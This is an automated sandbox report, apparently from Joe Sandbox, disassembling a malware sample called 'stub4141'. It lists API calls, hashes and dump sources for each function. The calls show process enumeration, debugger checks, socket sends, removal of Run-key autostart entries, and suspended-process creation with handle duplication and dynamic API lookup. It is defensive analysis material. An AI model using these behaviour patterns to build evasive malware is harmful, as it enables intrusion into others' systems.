Function 0040A900 Relevance: 10.6, APIs: 7, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A94D
_memset.LIBCMT ref: 0040A963
SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 0040A9A0
LocalAlloc.KERNEL32(00000040,00000014), ref: 0040A9B3
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0040A9C8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 0040A9DE
LocalFree.KERNEL32(00000000), ref: 0040A9F1

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: DescriptorInitializeLocalSecurity$AllocAllocateDaclEntriesFree_memset
String ID:
API String ID: 4046344516-0
Opcode ID: d84b16d539a6ac5aea79b180b0d31d2e40bab809a350dac730167fbb7e8ead7a
Instruction ID: ee9ec6c57f91490f15a2b1611225f991c11643f44e2df6db538a43c660494ecd
Opcode Fuzzy Hash: d84b16d539a6ac5aea79b180b0d31d2e40bab809a350dac730167fbb7e8ead7a
Instruction Fuzzy Hash: 73311CB0A00309EFEB00DFE4DC89BEEBBB4AB05704F104558E500BA2C1D7B95A44CBA5

Function 00401E90 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401EA4
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 00401ECC
StrCmpIW.SHLWAPI(?,-00484524), ref: 00401F16
CloseHandle.KERNEL32(000000FF), ref: 00401F24
Process32NextW.KERNEL32(000000FF,0000022C), ref: 00401F3E
CloseHandle.KERNEL32(000000FF), ref: 00401F4C

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 3b8ff3502ef6f5c85d70802969888cc75f6bf6c0016ab31c6ef83183e0a6235f
Instruction ID: 4ce2c02da12481e2d6e31eccc4a5e0e88e2d78f2e6f2b4dae6415b9bb68fd0aa
Opcode Fuzzy Hash: 3b8ff3502ef6f5c85d70802969888cc75f6bf6c0016ab31c6ef83183e0a6235f
Instruction Fuzzy Hash: 5F114F70901209EBCB14DBA4DD8CB9DB7B8EB44300F2086AAE509B72E0D7389B45DF59

Function 00401F60 Relevance: 9.1, APIs: 6, Instructions: 55processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00401F74
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 00401F9C
StrCmpIW.SHLWAPI(?,-00485118), ref: 00401FE6
CloseHandle.KERNEL32(000000FF), ref: 00401FF4
Process32NextW.KERNEL32(000000FF,0000022C), ref: 0040200E
CloseHandle.KERNEL32(000000FF), ref: 0040201C

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandleProcess32$CreateFirstNextSnapshotToolhelp32
String ID:
API String ID: 1789362936-0
Opcode ID: 398b4679ac9e1d829301405c3e834f661876dc35a384fc7b69fe7a74938bb8f7
Instruction ID: 935aa411b728eb765451da52d238f3b6a1bf76a3b3d8f92a3575ca04f301fca5
Opcode Fuzzy Hash: 398b4679ac9e1d829301405c3e834f661876dc35a384fc7b69fe7a74938bb8f7
Instruction Fuzzy Hash: 56114C70900209EBCB14DBA4DD8CBADB7B8EB44301F208AAAE505B72D0D7789B45DF59

Function 0041BDB0 Relevance: 9.0, APIs: 6, Instructions: 41processCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0041BDB9
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041BDC6
Process32FirstW.KERNEL32(00000000,0000022C), ref: 0041BDEA
CloseHandle.KERNEL32(00000000), ref: 0041BE03
Process32NextW.KERNEL32(00000000,0000022C), ref: 0041BE1C
CloseHandle.KERNEL32(00000000), ref: 0041BE2A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: CloseHandleProcess32$CreateCurrentFirstNextProcessSnapshotToolhelp32
String ID:
API String ID: 3177329567-0
Opcode ID: 08b802e567e0d51945ae714c6b04006faed110b7017ae147e99ee7fb9f12f7a0
Instruction ID: 58cca4221d35c9b322bc70901b4d9ce599049221a690f3b282097163f5494c61
Opcode Fuzzy Hash: 08b802e567e0d51945ae714c6b04006faed110b7017ae147e99ee7fb9f12f7a0
Instruction Fuzzy Hash: 1E01A974900208EFDB10DBA4ED8CBEEB7B8EF48301F104599A50597290D7389A85DF95

Function 004287B0 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0042CA9A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042CAAF
UnhandledExceptionFilter.KERNEL32(0043935C), ref: 0042CABA
GetCurrentProcess.KERNEL32(C0000409), ref: 0042CAD6
TerminateProcess.KERNEL32(00000000), ref: 0042CADD

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b8f13c5dc12858e88762840d6dc37b5733950a42b31fad3ae03fc3c8b34bee39
Instruction ID: 461c391c3dafc19462bbe0895381777af5e6a9ac32ae88372447518c5c625bba
Opcode Fuzzy Hash: b8f13c5dc12858e88762840d6dc37b5733950a42b31fad3ae03fc3c8b34bee39
Instruction Fuzzy Hash: 2821CFB4902304DBCB05EF69FD896483BB6BF49324F50183EE508873A1E7B859868F0D

Function 02108A17 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0210CD01
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0210CD16
UnhandledExceptionFilter.KERNEL32(0043935C), ref: 0210CD21
GetCurrentProcess.KERNEL32(C0000409), ref: 0210CD3D
TerminateProcess.KERNEL32(00000000), ref: 0210CD44

Memory Dump Source

Source File: 0000000C.00000002.2586433701.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_20e0000_stub4141_2024-10-16_10-48.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: b8f13c5dc12858e88762840d6dc37b5733950a42b31fad3ae03fc3c8b34bee39
Instruction ID: 24832b409330f95e05c100b3de645cc6f50fe6f1ab9e928de95057a618585aa8
Opcode Fuzzy Hash: b8f13c5dc12858e88762840d6dc37b5733950a42b31fad3ae03fc3c8b34bee39
Instruction Fuzzy Hash: F221ABB4C022049FCB15DF69EE88A583BB5BF49324F10587EE908873A0E7B49985CF4D

Function 00416299 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0041632A
___crtGetLocaleInfoEx.LIBCMTD ref: 00416347

Part of subcall function 0041EA10: send.WS2_32(00000000,?,000000FF,004201AC), ref: 0041EA23

closesocket.WS2_32(?), ref: 00416353

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: 604b8b3434949650907e766ea894027fa85ecaf0ff46b1f0f72a05eb1ddbe661
Instruction ID: 1d4da7d2c5e71cd065bbee4e41e7148a9bd1312fcaca608133bc7b2ad0d9dab7
Opcode Fuzzy Hash: 604b8b3434949650907e766ea894027fa85ecaf0ff46b1f0f72a05eb1ddbe661
Instruction Fuzzy Hash: BD0162B5A00208ABDB10EF90E8C5BEE7774EF48704F104559FA05AB280D779DA848B69

Function 004162B2 Relevance: 4.5, APIs: 3, Instructions: 41COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0041632A
___crtGetLocaleInfoEx.LIBCMTD ref: 00416347

Part of subcall function 0041EA10: send.WS2_32(00000000,?,000000FF,004201AC), ref: 0041EA23

closesocket.WS2_32(?), ref: 00416353

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: InfoLocale___crtclosesocketsendsetsockopt
String ID:
API String ID: 1028938620-0
Opcode ID: c8b4584fd3a66e0f5280583650da7c5e1fd086e61a37f57655fcd417a4d10ee1
Instruction ID: 1d4da7d2c5e71cd065bbee4e41e7148a9bd1312fcaca608133bc7b2ad0d9dab7
Opcode Fuzzy Hash: c8b4584fd3a66e0f5280583650da7c5e1fd086e61a37f57655fcd417a4d10ee1
Instruction Fuzzy Hash: BD0162B5A00208ABDB10EF90E8C5BEE7774EF48704F104559FA05AB280D779DA848B69

Function 004031A0 Relevance: 4.5, APIs: 3, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0048BB7C,?,0040F4F3), ref: 004031A8
IsWow64Process.KERNEL32(00000000,?,0040F4F3), ref: 004031AF
GetProcessHeap.KERNEL32(?,0040F4F3), ref: 004031B5

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Process$CurrentHeapWow64
String ID:
API String ID: 1399170734-0
Opcode ID: d8566940d8df9c49763422a1d63eb0aaa646e1c9aa69c0aea75f1ee57538f0ea
Instruction ID: ab6408f044630824054a55cef3c40dc6f4ae18223133379d4294c7f802ab36c8
Opcode Fuzzy Hash: d8566940d8df9c49763422a1d63eb0aaa646e1c9aa69c0aea75f1ee57538f0ea
Instruction Fuzzy Hash: FBC002759403089FD6096BA5FE4D6493BB8E70C711B101436FA09C2665DBA6A888CBAD

Function 0041B366 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: bb937fc6e498b9a819bfbeddafe23e610ec0269f158f92bfd8143504e6c28df0
Instruction ID: 5e3528dfbb6b396327f659859401d4fefcbcc169ce89ee5c39b65ac9150e7047
Opcode Fuzzy Hash: bb937fc6e498b9a819bfbeddafe23e610ec0269f158f92bfd8143504e6c28df0
Instruction Fuzzy Hash: 75E01234D40208EBCB10CBD4D488BEEB774EB09305F50C596E80563791C3385AC1EB94

Function 0041B3E1 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 60048b980c4627e4cf27d6b26bf10e98046ee655033fb1be27f6a02104aca1db
Instruction ID: 5e3528dfbb6b396327f659859401d4fefcbcc169ce89ee5c39b65ac9150e7047
Opcode Fuzzy Hash: 60048b980c4627e4cf27d6b26bf10e98046ee655033fb1be27f6a02104aca1db
Instruction Fuzzy Hash: 75E01234D40208EBCB10CBD4D488BEEB774EB09305F50C596E80563791C3385AC1EB94

Function 0041B389 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: ae0012364c7fa66e4f8fc344b0020bc5b6d5d0bf1f024f0bab23fe5bb63418f2
Instruction ID: 5e3528dfbb6b396327f659859401d4fefcbcc169ce89ee5c39b65ac9150e7047
Opcode Fuzzy Hash: ae0012364c7fa66e4f8fc344b0020bc5b6d5d0bf1f024f0bab23fe5bb63418f2
Instruction Fuzzy Hash: 75E01234D40208EBCB10CBD4D488BEEB774EB09305F50C596E80563791C3385AC1EB94

Function 0041B3BC Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,0040435A,00000000), ref: 0041B41A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,0040435A,00000000), ref: 0041B42A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 15da5463e60162c09bd0a108b74f3f150493b0e11a4db2998dcc600eeb26b25b
Instruction ID: 5e3528dfbb6b396327f659859401d4fefcbcc169ce89ee5c39b65ac9150e7047
Opcode Fuzzy Hash: 15da5463e60162c09bd0a108b74f3f150493b0e11a4db2998dcc600eeb26b25b
Instruction Fuzzy Hash: 75E01234D40208EBCB10CBD4D488BEEB774EB09305F50C596E80563791C3385AC1EB94

Function 0041EA30 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0041FB30: WSACreateEvent.WS2_32 ref: 0041FB36
Part of subcall function 0041FB30: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 0041FB53
Part of subcall function 0041FB30: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FB93
Part of subcall function 0041FB30: WSACloseEvent.WS2_32(00000000), ref: 0041FBA0

___crtGetLocaleInfoEx.LIBCMTD ref: 0041EA8A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction ID: 3b39431b30bcfff01aa869cb9e548fd46425b9f3025d170e5e954f32199ceb37
Opcode Fuzzy Hash: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction Fuzzy Hash: CA21C9B9D00209AFCB04DF9AC850AEEB7B5FF88304F14855AEC2567341D7389A91CF55

Function 0041EAD0 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 0041FC10: WSACreateEvent.WS2_32 ref: 0041FC16
Part of subcall function 0041FC10: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 0041FC33
Part of subcall function 0041FC10: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 0041FC73
Part of subcall function 0041FC10: WSACloseEvent.WS2_32(00000000), ref: 0041FC80

___crtGetLocaleInfoEx.LIBCMTD ref: 0041EB2A

Memory Dump Source

Source File: 0000000C.00000002.2580294489.0000000000400000.00000040.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2580294489.0000000000485000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2580294489.000000000048F000.00000040.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_stub4141_2024-10-16_10-48.jbxd

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction ID: b93923ac4b24f42a386a128b2e6f3f344706e59c88f17d487840aa5553647dc3
Opcode Fuzzy Hash: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction Fuzzy Hash: D221E7B8E04209EFCB04DF99C880AEEB7B4FB48304F14855AE92567344D338AA91CF95

Function 00411660 Relevance: 102.0, APIs: 47, Strings: 11, Instructions: 478stringregistrylibraryCOMMON

Download Yara Rule

APIs

wnsprintfW.SHLWAPI ref: 00411848
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00411864
wnsprintfW.SHLWAPI ref: 00411894
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 004118B0
wnsprintfW.SHLWAPI ref: 004118E0

Part of subcall function 00416BB0: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00412696,004340B0), ref: 00416BD9

RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 004118FC
wnsprintfW.SHLWAPI ref: 0041192C
RegDeleteKeyExW.ADVAPI32(80000001,?,00000200,00000000), ref: 00411948

Part of subcall function 0040CB80: RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,004010F7), ref: 0040CB9B
Part of subcall function 0040CB80: RegDeleteValueW.ADVAPI32(004010F7,StartValue,?,?,004010F7), ref: 0040CBAE
Part of subcall function 0040CB80: RegCloseKey.ADVAPI32(004010F7,?,?,004010F7), ref: 0040CBB8
Part of subcall function 0040CB80: RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,004010F7), ref: 0040CBD5
Part of subcall function 0040CB80: RegDeleteValueW.ADVAPI32(004010F7,StartValue,?,?,004010F7), ref: 0040CBE8
Part of subcall function 0040CB80: RegCloseKey.ADVAPI32(004010F7,?,?,004010F7), ref: 0040CBF2

Part of subcall function 0040D660: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,00411958), ref: 0040D67A
Part of subcall function 0040D660: SHGetKnownFolderPath.SHELL32(00437A48,00000000,00000000,?), ref: 0040D696
Part of subcall function 0040D660: __snwprintf.LIBCMT ref: 0040D6B7
Part of subcall function 0040D660: DeleteFileW.KERNEL32(00000000), ref: 0040D6C3
Part of subcall function 0040D660: CoTaskMemFree.COMBASE(?), ref: 0040D6CD
Part of subcall function 0040D660: LocalFree.KERNEL32(00000000), ref: 0040D6D7
Part of subcall function 0040D660: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040D6EA
Part of subcall function 0040D660: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D6FF
Part of subcall function 0040D660: __snwprintf.LIBCMT ref: 0040D729
Part of subcall function 0040D660: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D738
Part of subcall function 0040D660: __snwprintf.LIBCMT ref: 0040D763
Part of subcall function 0040D660: DeleteFileW.KERNEL32(00000000), ref: 0040D76F
Part of subcall function 0040D660: RemoveDirectoryW.KERNEL32(00000000), ref: 0040D779
Part of subcall function 0040D660: LocalFree.KERNEL32(00000000), ref: 0040D783
Part of subcall function 0040D660: LocalFree.KERNEL32(00000000), ref: 0040D78D
Part of subcall function 0040D660: CoTaskMemFree.COMBASE(?), ref: 0040D797

Part of subcall function 0040D420: OpenEventW.KERNEL32(00100002,00000000,{A59C1A65-527B-4D87-BBEF-BC463D75B80C}), ref: 0040D43F
Part of subcall function 0040D420: SetEvent.KERNEL32(00000000), ref: 0040D45B
Part of subcall function 0040D420: CloseHandle.KERNEL32(00000000), ref: 0040D468
Part of subcall function 0040D420: OpenMutexW.KERNEL32(00100000,00000000,{F1CD0D7A-3347-493C-BE75-8E3C69350254}), ref: 0040D484
Part of subcall function 0040D420: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0040D4A2
Part of subcall function 0040D420: CloseHandle.KERNEL32(00000000), ref: 0040D4AF
Part of subcall function 0040D420: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,?), ref: 0040D4C5
Part of subcall function 0040D420: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040D4DA
Part of subcall function 0040D420: __snwprintf.LIBCMT ref: 0040D51F
Part of subcall function 0040D420: lstrlenW.KERNEL32(00000000), ref: 0040D52E
Part of subcall function 0040D420: _memset.LIBCMT ref: 0040D56A
Part of subcall function 0040D420: GetFileAttributesW.KERNEL32(00000000), ref: 0040D5A5
Part of subcall function 0040D420: LocalFree.KERNEL32(00000000), ref: 0040D5F1
Part of subcall function 0040D420: CoTaskMemFree.COMBASE(?), ref: 0040D5FE

Part of subcall function 0040D300: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00411962,?,?,?,?,?,?,?,?,?,?,?,00411962), ref: 0040D313
Part of subcall function 0040D300: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,?,?,?,?,?,?,?,?,?,00411962), ref: 0040D328
Part of subcall function 0040D300: __snwprintf.LIBCMT ref: 0040D361
Part of subcall function 0040D300: lstrlenW.KERNEL32(00000000), ref: 0040D36D
Part of subcall function 0040D300: _memset.LIBCMT ref: 0040D397
Part of subcall function 0040D300: GetFileAttributesW.KERNEL32(00000000), ref: 0040D3C0
Part of subcall function 0040D300: LocalFree.KERNEL32(00000000), ref: 0040D3FD
Part of subcall function 0040D300: CoTaskMemFree.COMBASE(00411962), ref: 0040D407

Part of subcall function 0040CFB0: CoInitializeEx.COMBASE(00000000,00000000), ref: 0040CFE0
Part of subcall function 0040CFB0: CoUninitialize.COMBASE ref: 0040D2DD

Part of subcall function 0040A510: SHGetKnownFolderPath.SHELL32(00437A58,00000000,00000000,00415CD0,00480380,00415CD0), ref: 0040A523
Part of subcall function 0040A510: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0040A534
Part of subcall function 0040A510: wnsprintfW.SHLWAPI ref: 0040A55F
Part of subcall function 0040A510: lstrlenW.KERNEL32(?), ref: 0040A570
Part of subcall function 0040A510: CoTaskMemFree.COMBASE(?), ref: 0040A57F

_memset.LIBCMT ref: 004119DA
GetFileAttributesW.KERNEL32(?), ref: 00411A15
SHFileOperationW.SHELL32(?), ref: 00411A32
LocalFree.KERNEL32(?), ref: 00411A61
_memset.LIBCMT ref: 00411AB9
__snwprintf.LIBCMT ref: 00411ADE
_memset.LIBCMT ref: 00411AFD
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00411B11
_memset.LIBCMT ref: 00411B36
__snwprintf.LIBCMT ref: 00411B61
__snwprintf.LIBCMT ref: 00411B85
_memset.LIBCMT ref: 00411BA2
CreateProcessW.KERNEL32(?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000044,?), ref: 00411BE6
GetCurrentProcess.KERNEL32 ref: 00411BF5
DuplicateHandle.KERNEL32(?,?,?,00000000,00000000,00000001,00000002), ref: 00411C2D
GetCurrentProcess.KERNEL32 ref: 00411C3C
DuplicateHandle.KERNEL32(?,0000023C,?,00000000,00000000,00000001,00000002), ref: 00411C74
LoadLibraryW.KERNEL32(?), ref: 00411C8A
_memset.LIBCMT ref: 00411CAE
GetProcAddress.KERNEL32(?,?), ref: 00411CC4
GetProcAddress.KERNEL32(?,?), ref: 00411CDE
lstrcpyW.KERNEL32(?,?), ref: 00411CF8
lstrcpyA.KERNEL32(?,?), ref: 00411D0C
lstrcpyA.KERNEL32(?,?), ref: 00411D20
lstrcpyA.KERNEL32(?,?), ref: 00411D34
lstrcpyA.KERNEL32(?,?), ref: 00411D48
lstrcpyA.KERNEL32(?,?), ref: 00411D5C
lstrcpyA.KERNEL32(?,?), ref: 00411D6D
lstrcpyW.KERNEL32(?,?), ref: 00411D81
lstrcpyW.KERNEL32(?,?), ref: 00411D95
LocalFree.KERNEL32(?), ref: 00411E29
CloseHandle.KERNEL32(?), ref: 00411E4A
CloseHandle.KERNEL32(?), ref: 00411E57
TerminateProcess.KERNEL32(?,00000000), ref: 00411E6F
LocalFree.KERNEL32(?), ref: 00411E7C
OpenEventW.KERNEL32(00100002,00000000,{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}), ref: 00411E8E
SetEvent.KERNEL32(00000000), ref: 00411EAA
CloseHandle.KERNEL32(00000000), ref: 00411EB7

Strings

D, xrefs: 00411BAA
Software\%s, xrefs: 00411837
{F0408EAF-6026-476A-AF50-BFCA4663F089}, xrefs: 0041187E
Software\%s, xrefs: 004118CF
Software\%s, xrefs: 00411883
{FEC90C2D-1EAC-4594-8480-16BF6B2AB0E2}, xrefs: 00411E82
{EE228DDC-782F-45A5-A48F-B7B5CBF44397}, xrefs: 00411916
%s%s, xrefs: 00411ACD
